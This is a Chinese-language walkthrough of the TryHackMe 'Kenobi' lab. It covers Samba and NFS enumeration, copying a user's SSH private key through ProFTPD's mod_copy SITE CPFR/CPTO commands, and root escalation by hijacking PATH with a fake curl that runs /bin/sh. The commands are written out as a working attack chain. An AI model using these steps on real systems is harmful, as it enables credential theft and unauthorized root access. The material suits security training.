TryHackMe-Kenobi攻略:利用Samba共享、ProFTPD和PATH变量提权的完整过程

TryHackMe-Kenobi攻略:利用Samba共享、ProFTPD和PATH变量提权的完整过程

如何利用 Linux 机器。枚举 Samba 的共享、操纵易受攻击的 proftpd 版本以及通过路径变量操纵提升权限。将介绍如何访问 Samba 共享、如何操纵易受攻击的 proftpd 版本以获取初始访问权限以及如何通过 SUID 二进制文件将您的权限升级到 root。

信息收集

开启机器首先用nmap对目标机器进行一个简单的扫描,发现目标机器开放了ftp、samba和rpcbind

nmap -sV -Pn 10.10.211.158    

Screenshot_1.png

枚举 Samba 共享

Samba 是适用于Linux和 Unix的标准 Windows 互操作性程序套件。它允许最终用户访问和使用公司内联网或互联网上的文件、打印机和其他常用共享资源。它通常被称为网络文件系统。

Samba基于服务器消息块 ( SMB )的通用客户端/服务器协议。SMB仅为 Windows 开发,如果没有 Samba,其他计算机平台将与 Windows 计算机隔离,即使它们是同一网络的一部。

通过nmap对目标机器的samba服务进行枚举。发现了三个共享资源

 nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.211.158   
SMB 有两个端口:445 和 139。

Screenshot_21.png

可以使用smbclient // 10.10.221.158 /anonymous命令连接到目标机器的共享,并发现了log.txt文件,尝试递归下载失败了。。

递归下载
smbget -R smb://10.10.211.158/anonymous

Screenshot_6.png

于是还是使用smbclient // 10.10.221.158 /anonymous连接到目标机器的共享资源,使用get命令进行下载。

Screenshot_4.png

获取到log.txt后进行查看,发现了一些重要的信息,包括为用户生成 SSH 密钥时为 Kenobi 生成的信息,有关 ProFTPD 服务器的信息。

Screenshot_5.png

再对 rpcbind服务进行枚举,这只是一个将远程过程调用 (RPC) 程序号转换为通用地址的服务器。当启动 RPC 服务时,它会告诉 rpcbind 它正在监听的地址以及它准备服务的 RPC 程序号。

在我们的例子中,端口 111 是网络文件系统的访问权限。让我们使用 nmap 来枚举它。

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.211.158

Screenshot_7.png

通过 ProFtpd 获取初始访问权限

前面通过nmap获取到到了ProFTPd的版本信息,我们可以通过Searchsploit来查宅ProFTPd对应版本的漏洞信息。Searchsploit是 exploit-db.com 的一个命令行搜索工具。成功遭到了对应版本的漏洞信息。mod_copy 模块实现了SITE CPFRSITE CPTO命令,这些命令可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从 文件系统的任何部分复制到选定的目标。

Screenshot_8.png

通过前面获取的log.txt文件,我们知道 FTP 服务以 Kenobi 用户身份运行(从共享上的文件),并且为该用户生成了一个 ssh 密钥。 现在可以使用 SITE CPFR 和 SITE CPTO 命令复制 Kenobi 的私钥。

nc 10.10.221.158 21                                                                               
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.221.158]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
quit

Screenshot_9.png

成功复制 Kenobi 的私钥后我们将 /var/tmp 目录挂载到我们直接的机器上

mkdir /mnt/kenobiNFS
mount 10.10.221.158:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

Screenshot_10.png

现在我们可以通过ssh登录 Kenobi 的帐户。并通过find / -perm -u=s -type f 2>/dev/null 命令在整个文件系统中查找具有 SetUID 权限的可执行文件。

Screenshot_11.png

通过PATH变量操作进行权限提升

通过find命令找到了一些存在设置了SUID的文件,于是尝试进行,提权操作。其中/usr/bin/menu:这个文件被设置为 SetUID,并且它使用了 curl 命令来执行一些操作。

利用环境变量 PATH 进行攻击:

环境变量 PATH 决定了在执行命令时,系统搜索命令的目录顺序。通过将自己的路径放在 PATH 的最前面,可以劫持系统原本执行的命令。

创建恶意 curl 文件:

在 /tmp 目录下创建一个名为 curl 的文件,并将其内容设置为 /bin/sh。这意味着任何调用 curl 的地方都会执行 /bin/sh(启动一个 shell)。

更改权限:

使用 chmod 777 curl 命令,确保所有用户都可以执行这个文件。

更改 PATH:

通过 export PATH=/tmp:$PATH 将 /tmp 目录放在 PATH 的最前面。这意味着在执行 curl 命令时,系统会首先在 /tmp 目录中搜索。

执行 /usr/bin/menu:

当这个 SUID 程序执行时,它会调用 curl 命令。由于 PATH 已经被修改,它会调用 /tmp/curl(实际上是 /bin/sh),从而获得一个 root shell。

Screenshot_12.png

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注